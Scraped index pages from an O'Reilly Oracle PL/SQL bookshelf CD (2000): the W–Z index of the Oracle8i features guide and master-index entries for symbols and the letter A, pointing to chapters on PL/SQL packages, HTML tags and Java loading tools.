Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: W

WAITANY procedure, DBMS_ALERT package : 7.6.4.2. LISTEN: Listening for messages
watch.pkg file : 6.2.1.3. Trapping system errors
Web-based applications, and Dynamic SQL : 4. Native Dynamic SQL in Oracle8i
WebDB : 1.1. What's in Oracle8i Release 8.1?
WHEN clause : 6.2.1.4. Checking for specific errors
WHERE clause : 4.1. DBMS_SQL Versus NDS
WHERE CURRENT OF cursor variable : 4.5. Working with Objects and Collections
WNDS (writes no database state) purity level
2.4.1. Using Autonomous Transactions from Within SQL
7.3.4. ADD_POLICY: Adding a Policy
7.4. UTL_COLL: Using Collection Locators
WNPS (writes no package state) purity level
2.4.1. Using Autonomous Transactions from Within SQL
7.4. UTL_COLL: Using Collection Locators

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: X

xfile.pkg : 9.9.1. Extending File I/O Capabilities

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Index: Y

There are no index entries for the letter "y" in this book.

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Index:Z

There are no index entries for the letter "z" in this book.

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Oracle PL/SQL Guide to Oracle8i Features Search Page

Oracle PL/SQL Guide to Oracle8i Features

Oracle PL/SQL Guide to Oracle8i FeaturesSearch this book

Full Text Search

If you are having difficulty searching, or if you have not used this search utility before, please read this.

The Oracle PL/SQL CD Bookshelf Navigation Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Master Index: 0

Index: 0

$ operators: 5.9.3. Bundled, low-level operations, Advanced Oracle PL/SQL Programming with Packages
% (multiple-character substitution): 5.7.5.1. Wildcarded correlation identifiers, Oracle Built-in Packages
%BULK_ROWCOUNT structure
4.3. Multirow Queries with Cursor Variables, Guide to Oracle8i Features
5.4. Using Cursor Attributes, Guide to Oracle8i Features
%FOUND cursor attribute
4.3. Multirow Queries with Cursor Variables, Guide to Oracle8i Features
5.4. Using Cursor Attributes, Guide to Oracle8i Features
%ISOPEN cursor attribute
4.3. Multirow Queries with Cursor Variables, Guide to Oracle8i Features
5.4. Using Cursor Attributes, Guide to Oracle8i Features
%NOTFOUND cursor attribute
4.3. Multirow Queries with Cursor Variables, Guide to Oracle8i Features
5.4. Using Cursor Attributes, Guide to Oracle8i Features
%ROWCOUNT cursor attribute
4.3. Multirow Queries with Cursor Variables, Guide to Oracle8i Features
5.4. Using Cursor Attributes, Guide to Oracle8i Features
& special character, OWA_PATTERN package: 7.2.2.1. Regular expressions, Oracle Web Applications
> (label delimeters): 5.2.1. The GOTO Statement, Oracle PL/SQL Programming
< form> tag, HTML: 5.2.7.1. The < form> tag, Oracle Web Applications
<$no page>numbers
as constants: (see literals), Advanced Oracle PL/SQL Programming with Packages
<a>...</a> tag, HTML: 5.2.4. Anchor Tags, Oracle Web Applications
<b>...</b> tag, HTML: 5.2.2. Text Formatting Tags, Oracle Web Applications
<br> tag, HTML: 5.2.3. Content Flow Tags, Oracle Web Applications
<center>...</center> tag, HTML: 5.2.3. Content Flow Tags, Oracle Web Applications
<datatype>_ARG procedure (DBMS_DEFER)
17.3.1.1. DBMS_DEFER programs, Oracle Built-in Packages
17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure, Oracle Built-in Packages
<font>...</font> tag, HTML: 5.2.2. Text Formatting Tags, Oracle Web Applications
<form>...</form> tag, HTML: 5.2.7. Form Tags, Oracle Web Applications
<hn>...</hn> tag, HTML: 5.2.2. Text Formatting Tags, Oracle Web Applications
<hr> tag, HTML: 5.2.3. Content Flow Tags, Oracle Web Applications
<i>...</i> tag, HTML: 5.2.2. Text Formatting Tags, Oracle Web Applications
<input> tag, HTML
5.2.7. Form Tags, Oracle Web Applications
5.2.7.2. The <input> tag, Oracle Web Applications
<li>...</li> tag, HTML: 5.2.5. List Tags, Oracle Web Applications
<ol>...</ol> tag, HTML: 5.2.5. List Tags, Oracle Web Applications
<option>...</option> tag, HTML: 5.2.7. Form Tags, Oracle Web Applications
<p> tag, HTML: 5.2.3. Content Flow Tags, Oracle Web Applications
<pre>...</pre> tag, HTML: 5.2.3. Content Flow Tags, Oracle Web Applications
<select>...</select> tag, HTML
5.2.7.3. The <select> tag, Oracle Web Applications
5.2.7. Form Tags, Oracle Web Applications
<small>...</small> tag, HTML: 5.2.2. Text Formatting Tags, Oracle Web Applications
<sup>...</sup> tab, HTML: 5.2.2. Text Formatting Tags, Oracle Web Applications
<table>...</table> tag, HTML: 5.2.6. Table Tags, Oracle Web Applications
<td>...</td> tag, HTML: 5.2.6. Table Tags, Oracle Web Applications
<textarea> tag, HTML
5.2.7.4. The <textarea> tag, Oracle Web Applications
5.2.7. Form Tags, Oracle Web Applications
<th>...</th> tag, HTML: 5.2.6. Table Tags, Oracle Web Applications
<tr>...</tr> tag, html: 5.2.6. Table Tags, Oracle Web Applications
<tt>...</tt> tag, HTML: 5.2.2. Text Formatting Tags, Oracle Web Applications
<ul>...</ul> tag, HTML: 5.2.5. List Tags, Oracle Web Applications
' (quotation mark)
2.3.1. Embedding Single Quotes Inside a String, Oracle PL/SQL Programming
11.1.10. The REPLACE function, Oracle PL/SQL Programming
( ) special character, OWA_PATTERN package: 7.2.2.1. Regular expressions, Oracle Web Applications
* quantifier, OWA_PATTERN package: 7.2.2.1. Regular expressions, Oracle Web Applications
+ quantifier, OWA_PATTERN package: 7.2.2.1. Regular expressions, Oracle Web Applications
-- (comment indicator): 2.5.1. Single-Line Comment Syntax, Oracle PL/SQL Programming
-6503 error code: 3.7. Handling Program Assumptions, Advanced Oracle PL/SQL Programming with Packages
-andresolve, loadjava option: 9.4. Using loadjava, Guide to Oracle8i Features
-debug, loadjava option: 9.4. Using loadjava, Guide to Oracle8i Features
-definer, loadjava option: 9.4. Using loadjava, Guide to Oracle8i Features
-encoding, loadjava option: 9.4. Using loadjava, Guide to Oracle8i Features
-force, loadjava option: 9.4. Using loadjava, Guide to Oracle8i Features
-grant, loadjava option: 9.4. Using loadjava, Guide to Oracle8i Features
-oci8, dropjava option: 9.5. Using dropjava, Guide to Oracle8i Features
-oci8, loadjava option: 9.4. Using loadjava, Guide to Oracle8i Features
-oracleresolver, loadjava option: 9.4. Using loadjava, Guide to Oracle8i Features
-resolve, loadjava option: 9.4. Using loadjava, Guide to Oracle8i Features
-resolver, loadjava option: 9.4. Using loadjava, Guide to Oracle8i Features
-schema, dropjava option: 9.5. Using dropjava, Guide to Oracle8i Features
-schema, loadvaja option: 9.4. Using loadjava, Guide to Oracle8i Features
-synonym, loadjava option: 9.4. Using loadjava, Guide to Oracle8i Features
-thin, dropjava option: 9.5. Using dropjava, Guide to Oracle8i Features
-thin, loadjava entry: 9.4. Using loadjava, Guide to Oracle8i Features
-verbose, dropjava option: 9.5. Using dropjava, Guide to Oracle8i Features
-verbose, loadjava entry: 9.4. Using loadjava, Guide to Oracle8i Features
. atom, OWA_PATTERN package: 7.2.2.1. Regular expressions, Oracle Web Applications
.class files: 9.2. Getting Ready to Use Java in Oracle, Guide to Oracle8i Features
.jar files: 9.2. Getting Ready to Use Java in Oracle, Guide to Oracle8i Features
.sqlj files: 9.4. Using loadjava, Guide to Oracle8i Features
/* and */ (comment block delimiters): 2.5.2. Multiline Comment Syntax, Oracle PL/SQL Programming
:host_cursor_variable, OPEN FOR statement: 4.2.2. The OPEN FOR Statement, Guide to Oracle8i Features
; (semicolon): 2.4. The Semicolon Delimiter, Oracle PL/SQL Programming
=> (named notation): 5.5.1.2. The DBMS_AQADM.CREATE_QUEUE_TABLE procedure, Oracle Built-in Packages
? quantifier, OWA_PATTERN package: 7.2.2.1. Regular expressions, Oracle Web Applications
[ and ] (optional parameters): 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure , Oracle Built-in Packages
\:= (assignment) operator
2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
4.4.3. Default Values, Oracle PL/SQL Programming
9.5. Assigning Values to and from Records, Oracle PL/SQL Programming
\D atom, OWA_PATTERN package: 7.2.2.1. Regular expressions, Oracle Web Applications
\S atom, OWA_PATTERN package: 7.2.2.1. Regular expressions, Oracle Web Applications
\W atom, OWA_PATTERN package: 7.2.2.1. Regular expressions, Oracle Web Applications
\b atom, OWA_PATTERN package: 7.2.2.1. Regular expressions, Oracle Web Applications
\c atom, OWA_PATTERN package: 7.2.2.1. Regular expressions, Oracle Web Applications
\d atom, OWA_PATTERN package: 7.2.2.1. Regular expressions, Oracle Web Applications
\n atom, OWA_PATTERN package: 7.2.2.1. Regular expressions, Oracle Web Applications
\nnn atom, OWA_PATTERN package: 7.2.2.1. Regular expressions, Oracle Web Applications
\s atom, OWA_PATTERN package: 7.2.2.1. Regular expressions, Oracle Web Applications
\t atom, OWA_PATTERN package: 7.2.2.1. Regular expressions, Oracle Web Applications
\w atom, OWA_PATTERN package: 7.2.2.1. Regular expressions, Oracle Web Applications
\xnn atom, OWA_PATTERN package: 7.2.2.1. Regular expressions, Oracle Web Applications
^ assertion, OWA_PATTERN package: 7.2.2.1. Regular expressions, Oracle Web Applications
_ (single-character substitution): 5.7.5.1. Wildcarded correlation identifiers, Oracle Built-in Packages
{n,m} quantifier, OWA_PATTERN package: 7.2.2.1. Regular expressions, Oracle Web Applications
{n,} quantifier, OWA_PATTERN package: 7.2.2.1. Regular expressions, Oracle Web Applications
|| (concatenation) operator
4.3.3. Function Results with NULL Arguments, Oracle PL/SQL Programming
11.1.3. The CONCAT function, Oracle PL/SQL Programming

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: A

Index: A

ABORTED_REQUEST_THRESHOLD procedure
12.2.1. Getting Started with DBMS_SHARED_POOL, Oracle Built-in Packages
12.2.3.2. The DBMS_SHARED_POOL.ABORTED_REQUEST_THRESHOLD procedure, Oracle Built-in Packages
ABS function: 13.1.1. The ABS function, Oracle PL/SQL Programming
ACCESS table, tuning: 25.2.3. Tune ACCESS$ Table to Reduce First Execution Time of Code, Oracle PL/SQL Programming
ACID principle: 2.1. Transaction Management in PL/SQL, Guide to Oracle8i Features
ACTIVE_INSTANCES function, DBMS_UTILITY package: 7.7.2. ACTIVE_INSTANCES: Returning a List of Active Instances, Guide to Oracle8i Features
ADD procedure
14.2.1. Getting Started with DBMS_REFRESH, Oracle Built-in Packages
14.2.3.1. The DBMS_REFRESH.ADD procedure, Oracle Built-in Packages
ADD2MULTI procedure, OWA_TEXT package: 7.2.1.2. Procedures, Oracle Web Applications
ADD_<conflicttype>_RESOLUTION procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.5.1.1. The DBMS_REPCAT.ADD_<conflicttype>_RESOLUTION, Oracle Built-in Packages
ADD_DEFAULT_DEST procedure
17.2.1.1. DBMS_DEFER_SYS programs, Oracle Built-in Packages
17.2.2.1. The DBMS_DEFER.SYS.ADD_DEFAULT_DEST procedure, Oracle Built-in Packages
ADD_DELETE_RESOLUTION procedure: 16.5.1.1. The DBMS_REPCAT.ADD_<conflicttype>_RESOLUTION, Oracle Built-in Packages
ADD_GROUPED_COLUMN procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.2.3.1. The DBMS_REPCAT.ADD_GROUPED_COLUMN procedure, Oracle Built-in Packages
ADD_MASTER_DATABASE procedure
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
15.3.5.1. The DBMS_REPCAT.ADD_MASTER_DATABASE procedure, Oracle Built-in Packages
ADD_MONTHS function: 12.1.1. The ADD_MONTHS function, Oracle PL/SQL Programming
customizing: 12.2.1. Customizing the Behavior of ADD_MONTHS, Oracle PL/SQL Programming
ADD_POLICY procedure, DBMS_RLS package: 7.3.4. ADD_POLICY: Adding a Policy, Guide to Oracle8i Features
ADD_PRIORITY_<datatype> procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.3.3.1. The DBMS_REPCAT.ADD_PRIORITY_<datatype> procedure, Oracle Built-in Packages
ADD_SITE_PRIORITY_SITE procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.4.3.1. The DBMS_REPCAT.ADD_SITE_PRIORITY_SITE procedure, Oracle Built-in Packages
ADD_SUBSCRIBER procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only), Oracle Built-in Packages
5.5.3.1. The DBMS_AQADM.ADD_SUBSCRIBER procedure, Oracle Built-in Packages
7.6.4.1. Rule-based subscribers, Guide to Oracle8i Features
ADD_UNIQUE_RESOLUTION procedure: 16.5.1.1. The DBMS_REPCAT.ADD_<conflicttype>_RESOLUTION, Oracle Built-in Packages
ADD_UPDATE_RESOLUTION procedure: 16.5.1.1. The DBMS_REPCAT.ADD_<conflicttype>_RESOLUTION, Oracle Built-in Packages
ADMINISTER DATABASE TRIGGER system privilege: 6.2. Database-Level Event Triggers, Guide to Oracle8i Features
ADTs (abstract data types)
6.3. Packages, Oracle Web Applications
22.6. Construct Abstract Data Types (ADTs), Oracle PL/SQL Programming
ADVISE_COMMIT procedure
4.2.1.1. DBMS_TRANSACTION programs, Oracle Built-in Packages
4.2.2.1. The DBMS_TRANSACTION.ADVISE_ROLLBACK, and ADVISE_COMMIT procedures, Oracle Built-in Packages
C.15.1. The ADVISE_COMMIT procedure, Oracle PL/SQL Programming
ADVISE_NOTHING procedure
4.2.1.1. DBMS_TRANSACTION programs, Oracle Built-in Packages
4.2.2.1. The DBMS_TRANSACTION.ADVISE_ROLLBACK, and ADVISE_COMMIT procedures, Oracle Built-in Packages
C.15.2. The ADVISE_NOTHING procedure, Oracle PL/SQL Programming
ADVISE_ROLLBACK procedure
4.2.1.1. DBMS_TRANSACTION programs, Oracle Built-in Packages
4.2.2.1. The DBMS_TRANSACTION.ADVISE_ROLLBACK, and ADVISE_COMMIT procedures, Oracle Built-in Packages
C.15.3. The ADVISE_ROLLBACK procedure, Oracle PL/SQL Programming
AFTER STARTUP triggers: 6.2. Database-Level Event Triggers, Guide to Oracle8i Features
AFTER context, triggers: 6.2. Database-Level Event Triggers, Guide to Oracle8i Features
AIFF format: 1.3.9.2. Multimedia data, Oracle Web Applications
AIFF-C format: 1.3.9.2. Multimedia data, Oracle Web Applications
ALL option, GRANT_QUEUE_PRIVILEGE procedure: 7.6.3.2. REVOKE_QUEUE_PRIVILEGE: Revoking queue-level privileges, Guide to Oracle8i Features
ALLOCATE_UNIQUE procedure
4.1.1.1. DBMS_LOCK programs, Oracle Built-in Packages
4.1.2.1. The DBMS_LOCK.ALLOCATE_UNIQUE procedure, Oracle Built-in Packages
C.7.1. The ALLOCATE_UNIQUE procedure, Oracle PL/SQL Programming
ALL_CONTEXT data dictionary view: 8.4.3. Context Data Dictionary Views, Guide to Oracle8i Features
ALL_ERRORS data dictionary view: 9.6.2. Examining Loaded Java Elements, Guide to Oracle8i Features
ALL_OBJECTS data dictionary view: 9.6.2. Examining Loaded Java Elements, Guide to Oracle8i Features
ALL_OBJECTS view
11.2. ALL_OBJECTS View, Advanced Oracle PL/SQL Programming with Packages
11.4. Accessing ALL_OBJECTS , Advanced Oracle PL/SQL Programming with Packages
identifying objects and, 2.5.1. A Generic Drop_Object Procedure, Oracle Built-in Packages
ALL_POLICIES data dictionary view: 8.4.3. Context Data Dictionary Views, Guide to Oracle8i Features
ALL_SOURCE data dictionary view
5.15.4. Managing the source repository, Advanced Oracle PL/SQL Programming with Packages
15.4.1. How to Find Source Code, Advanced Oracle PL/SQL Programming with Packages
ALTER JAVA statement: 9.1. Oracle8i and Java, Guide to Oracle8i Features
ALTER SESSION command: 26.1.1. Enabling Program Units for Tracing, Oracle PL/SQL Programming
ALTER TABLE statement: 20.6. Schema Evolution, Oracle PL/SQL Programming
ALTER command
1.3.5. New Trigger Capabilities, Guide to Oracle8i Features
6. New Trigger Features in Oracle8i, Guide to Oracle8i Features
6.3. Schema-Level Event Triggers, Guide to Oracle8i Features
7.2.3. Controlling Trace File Contents, Guide to Oracle8i Features
ALTER_COMPILE procedure
10.3.2. Compiling PL/SQL Objects, Oracle Built-in Packages
C.4.1. The ALTER_COMPILE procedure, Oracle PL/SQL Programming
ALTER_MASTER_PROPAGATION procedure
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
15.3.8.2. The DBMS_REPCAT.ALTER_MASTER_PROPAGATION procedure, Oracle Built-in Packages
ALTER_MASTER_REPOBJECT procedure
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
15.3.3.5. The DBMS_REPCAT.ALTER_MASTER_REPOBJECT procedure, Oracle Built-in Packages
ALTER_PRIORITY procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.3.3.2. The DBMS_REPCAT.ALTER_PRIORITY procedure, Oracle Built-in Packages
ALTER_PRIORITY_<datatype> procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.3.3.3. The DBMS_REPCAT.ALTER_PRIORITY_<datatype> procedure, Oracle Built-in Packages
ALTER_QUEUE procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only), Oracle Built-in Packages
5.5.2.3. The DBMS_AQADM.ALTER_QUEUE procedure, Oracle Built-in Packages
C.3.2.4. The ALTER_QUEUE procedure, Oracle PL/SQL Programming
ALTER_SITE_PRIORITY procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.4.3.3. The DBMS_REPCAT.ALTER_SITE_PRIORITY procedure, Oracle Built-in Packages
ALTER_SITE_PRIORITY_SITE procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.4.3.4. The DBMS_REPCAT.ALTER_SITE_PRIORITY_SITE, Oracle Built-in Packages
ALTER_SNAPSHOT_PROPAGATION procedure
14.4.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
14.4.4. Altering a Snapshot Replication Group's Propagation Mode, Oracle Built-in Packages
ALTER_TABLE_NOT_REFERENCEABLE procedure
10.3.1.1. DBMS_DDL programs, Oracle Built-in Packages
10.3.4.2. The DBMS_DDL.ALTER_TABLE_NOT_REFERENCEABLE procedure (Oracle8 only), Oracle Built-in Packages
ALTER_TABLE_REFERENCEABLE procedure
10.3.1.1. DBMS_DDL programs, Oracle Built-in Packages
10.3.4.1. The DBMS_DDL. (Oracle8 only), Oracle Built-in Packages
AMATCH function, OWA_PATTERN package: 7.2.2.3. Procedures and functions, Oracle Web Applications
ANALYZE statement: 25.1. Analyzing Program Performance, Oracle PL/SQL Programming
ANALYZE_DATABASE procedure
10.1.1. Getting Started with DBMS_UTILITY, Oracle Built-in Packages
10.1.2.1. The DBMS_UTILITY.ANALYZE_DATABASE procedure, Oracle Built-in Packages
ANALYZE_OBJECT procedure
10.3.1.1. DBMS_DDL programs, Oracle Built-in Packages
10.3.3.1. The DBMS_DDL.ANALYZE_OBJECT procedure, Oracle Built-in Packages
C.4.2. The ANALYZE_OBJECT procedure, Oracle PL/SQL Programming
ANALYZE_PART_OBJECT procedure
10.1.1. Getting Started with DBMS_UTILITY, Oracle Built-in Packages
10.1.2.3. The DBMS_UTILITY.ANALYZE_PART_OBJECT procedure (Oracle8 Only), Oracle Built-in Packages
ANALYZE_SCHEMA procedure
10.1.1. Getting Started with DBMS_UTILITY, Oracle Built-in Packages
10.1.2.2. The DBMS_UTILITY.ANALYZE_SCHEMA procedure, Oracle Built-in Packages
C.16.1. The ANALYZE_SCHEMA procedure, Oracle PL/SQL Programming
ANCHOR function, HTF package: 7.1.3. HTF: Parsing HTML, Oracle Web Applications
ANCHOR function, HTP package: 7.1.1. HTP: Generating HTML, Oracle Web Applications
AND bit operation: 9.2.3.1. The UTL_RAW.BIT_AND function, Oracle Built-in Packages
ANO (Advanced Networking Option): 2.5.5. Additional Security Precautions, Oracle Web Applications
ANY parameters: 9.2.4. UTL_REF: Referencing Objects (Oracle8.0.4), Oracle Built-in Packages
ANY_CHAR_ARG procedure: 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure, Oracle Built-in Packages
ANY_CLOB_ARG procedure: 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure, Oracle Built-in Packages
ANY_VARCHAR2_ARG procedure: 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure, Oracle Built-in Packages
APIs (application programming interfaces)
7.1. DBMS_PROFILER: Providing Code Profiling , Guide to Oracle8i Features
1.3.8. Calling Java from PL/SQL , Guide to Oracle8i Features
7.2. DBMS_TRACE: Providing a PL/SQL Trace Facility, Guide to Oracle8i Features
1.3.8.4. InternetLite server and API, Oracle Web Applications
6.3. Packages, Oracle Web Applications
APPEND procedure
8.1.1. DBMS_LOB Programs, Oracle Built-in Packages
8.3.3.1. The DBMS_LOB.APPEND procedure, Oracle Built-in Packages
C.6.1. The APPEND procedure , Oracle PL/SQL Programming
AQ (Advanced Queuing)
5. Oracle Advanced Queuing, Oracle Built-in Packages
1.3. Oracle's Solution -- Oracle8i, Oracle Web Applications
1.3.10. Advanced Queuing, Oracle Web Applications
Oracle8 versions and
5. Oracle Advanced Queuing, Oracle Built-in Packages
5.2.2.3. Setting Oracle AQ compatibility, Oracle Built-in Packages
components of: 5.1.6. Components of Oracle AQ, Oracle Built-in Packages
constants
5.3.1.1. Administrative tasks, Oracle Built-in Packages
5.3.1.2. Operational tasks, Oracle Built-in Packages
creating: 5.2.1. Installing the Oracle AQ Facility, Oracle Built-in Packages
data structures: 5.3. Oracle AQ Nonprogram Elements, Oracle Built-in Packages
data typing and: 5.1.1. General Features, Oracle Built-in Packages
database objects
5.6. Oracle AQ Database Objects, Oracle Built-in Packages
5.6.1. Objects Per Queue Table , Oracle Built-in Packages
data dictionary: 5.6.2. Data Dictionary Objects, Oracle Built-in Packages
dequeuing: (see dequeuing)
encapsulating (example): 5.7.1. Improving AQ Ease of Use, Oracle Built-in Packages
enqueuing: (see enqueuing)
example scripts (by Oracle): 5.7. Oracle AQ Examples, Oracle Built-in Packages
examples: 5.7. Oracle AQ Examples, Oracle Built-in Packages
browsing: 5.7.4. Browsing a Queue's Contents, Oracle Built-in Packages
encapsulating: 5.7.1. Improving AQ Ease of Use, Oracle Built-in Packages
message groups: 5.7.7. Working with Message Groups, Oracle Built-in Packages
multiple consumers: 5.7.8. Working with Multiple Consumers, Oracle Built-in Packages
prioritized queues: 5.7.2. Working with Prioritized Queues, Oracle Built-in Packages
searching by correlation identifier: 5.7.5. Searching by Correlation Identifier, Oracle Built-in Packages
time delay and expiration: 5.7.6. Using Time Delay and Expiration, Oracle Built-in Packages
exceptions
5.1.3. Dequeue Features, Oracle Built-in Packages
5.3.9. Oracle AQ Exceptions, Oracle Built-in Packages
features: 5.1.1. General Features, Oracle Built-in Packages
glossary of terms: 5.1.5. A Glossary of Terms, Oracle Built-in Packages
installing: 5.2.1. Installing the Oracle AQ Facility, Oracle Built-in Packages
object names: 5.3.2. Object Names, Oracle Built-in Packages
pipes versus: 3.1.2.3. Pipe communications logic, Oracle Built-in Packages
privileges
5.2.1. Installing the Oracle AQ Facility, Oracle Built-in Packages
5.2.3. Authorizing Accounts to Use Oracle AQ, Oracle Built-in Packages
propagation: (see propagating messages)
recipient list: 5.3.6. Message Properties Record Type, Oracle Built-in Packages
roles: 5.2.3. Authorizing Accounts to Use Oracle AQ, Oracle Built-in Packages
stacks (example): 5.7.3. Building a Stack with AQ Using Sequence Deviation, Oracle Built-in Packages
tables and: 5.1.1. General Features, Oracle Built-in Packages
views for
data dictionary: 5.1.8. Data Dictionary Views, Oracle Built-in Packages
per queue table: 5.6.1.2. The queue table view, Oracle Built-in Packages
AQ Lite: 1.3.8.3. AQ Lite, Oracle Web Applications
AQ_ADMINISTRATOR_ROLE: 5.2.3. Authorizing Accounts to Use Oracle AQ, Oracle Built-in Packages
AQ_USER_ROLE
5.2.3. Authorizing Accounts to Use Oracle AQ, Oracle Built-in Packages
7.6.2. System-Level Access Control, Guide to Oracle8i Features
ASCII characters: (see characters, string)
ASCII function: 11.1.1. The ASCII function, Oracle PL/SQL Programming
AUF format: 1.3.9.2. Multimedia data, Oracle Web Applications
AUTHID CURRENT_USER clause
1.3.2. Invoker Rights , Guide to Oracle8i Features
3.2.1. Invoker Rights Syntax, Guide to Oracle8i Features
AUTHID DEFINER clause: 3.2.2. Some Rules and Restrictions, Guide to Oracle8i Features
AVI
1.3.9.2. Multimedia data, Oracle Web Applications
2.1. Resources, Oracle Web Applications
Ada programming language
Preface, Oracle PL/SQL Programming
6. PL/SQL, Oracle Web Applications
Adobe PDF: 1.3.9.1. Text data, Oracle Web Applications
Advanced Networking Option (ANO): 2.5.5. Additional Security Precautions, Oracle Web Applications
Advanced Queuing (AQ)
1.3. Oracle's Solution -- Oracle8i, Oracle Web Applications
1.3.10. Advanced Queuing, Oracle Web Applications
1.3.5. New Trigger Capabilities, Guide to Oracle8i Features
6. New Trigger Features in Oracle8i, Guide to Oracle8i Features
6.2.1.2. Tracking logins to the database, Guide to Oracle8i Features
7.6. New DBMS_AQ and DBMS_AQADM Features, Guide to Oracle8i Features
Alpha: 1.2.2.2. Developers must know too many platforms, Oracle Web Applications
AltaVista: 1.2.1.1. Finding what you need, Oracle Web Applications
abbreviations: 2.3.3. Avoiding Superfluous Naming Elements, Advanced Oracle PL/SQL Programming with Packages
absolute file numbers, returning: 9.1.3.7. The DBMS_ROWID.ROWID_TO_ABSOLUTE_FNO function, Oracle Built-in Packages
absolute value: 13.1.1. The ABS function, Oracle PL/SQL Programming
abstract data types (ADTs): 6.3. Packages, Oracle Web Applications
abstraction: 18.1.5.3. Abstraction , Oracle PL/SQL Programming
access
ALL_OBJECTS view: 11.4. Accessing ALL_OBJECTS , Advanced Oracle PL/SQL Programming with Packages
PL/SQL tables: (see PLVtab package)
PL/Vision: 4.3.6. Granting Access to PL/Vision, Advanced Oracle PL/SQL Programming with Packages
data structure, encapsulating: 1.7.2. Synchronize Program and Data Structures, Oracle PL/SQL Programming
messages: 5.19.2. Managing and accessing message text, Advanced Oracle PL/SQL Programming with Packages
package elements
1.3.1. Enforced Information Hiding, Advanced Oracle PL/SQL Programming with Packages
1.4.4. Access to Package Elements, Advanced Oracle PL/SQL Programming with Packages
1.6.1.5. Isolate volatile areas of functionality, Advanced Oracle PL/SQL Programming with Packages
2.7. Building Windows Into Your Packages, Advanced Oracle PL/SQL Programming with Packages
2.10. Hiding Package Data, Advanced Oracle PL/SQL Programming with Packages
stacks: 5.28.5. Accessing the PL/SQL call stack, Advanced Oracle PL/SQL Programming with Packages
to SQL, minimizing: 25.3.1. Use Package Data to Minimize SQL Access, Oracle PL/SQL Programming
to compiled code, tuning: 25.2. Tuning Access to Compiled Code, Oracle PL/SQL Programming
to data, tuning: 25.3. Tuning Access to Your Data, Oracle PL/SQL Programming
to operating system files: 13.1.1. Enabling File Access in the Oracle Server , Advanced Oracle PL/SQL Programming with Packages
accessing objects: 5.20.4. Accessing the current object, Advanced Oracle PL/SQL Programming with Packages
accessing PL/SQL call stack: 21.2.2. Accessing the PL/SQL Call Stack, Advanced Oracle PL/SQL Programming with Packages
access control, system level: 7.6.2. System-Level Access Control, Guide to Oracle8i Features
accounts payable: 1.1. The Internet Grows Up, Oracle Web Applications
accounts receivable: 1.1. The Internet Grows Up, Oracle Web Applications
action names
registering: 7.2.5. The DBMS_APPLICATION_INFO.SET_MODULE procedure, Oracle Built-in Packages
returning: 7.2.2. The DBMS_APPLICATION_INFO.READ_MODULE procedure, Oracle Built-in Packages
action procedure
21.2.3. Tracing Code Execution, Advanced Oracle PL/SQL Programming with Packages
7.3.1. About the register_app Package, Oracle Built-in Packages
7.3.2. The action Procedure, Oracle Built-in Packages
actual parameters, PL/SQL
15.6.3. Actual and Formal Parameters, Oracle PL/SQL Programming
6.1.3. Parameters, Oracle Web Applications
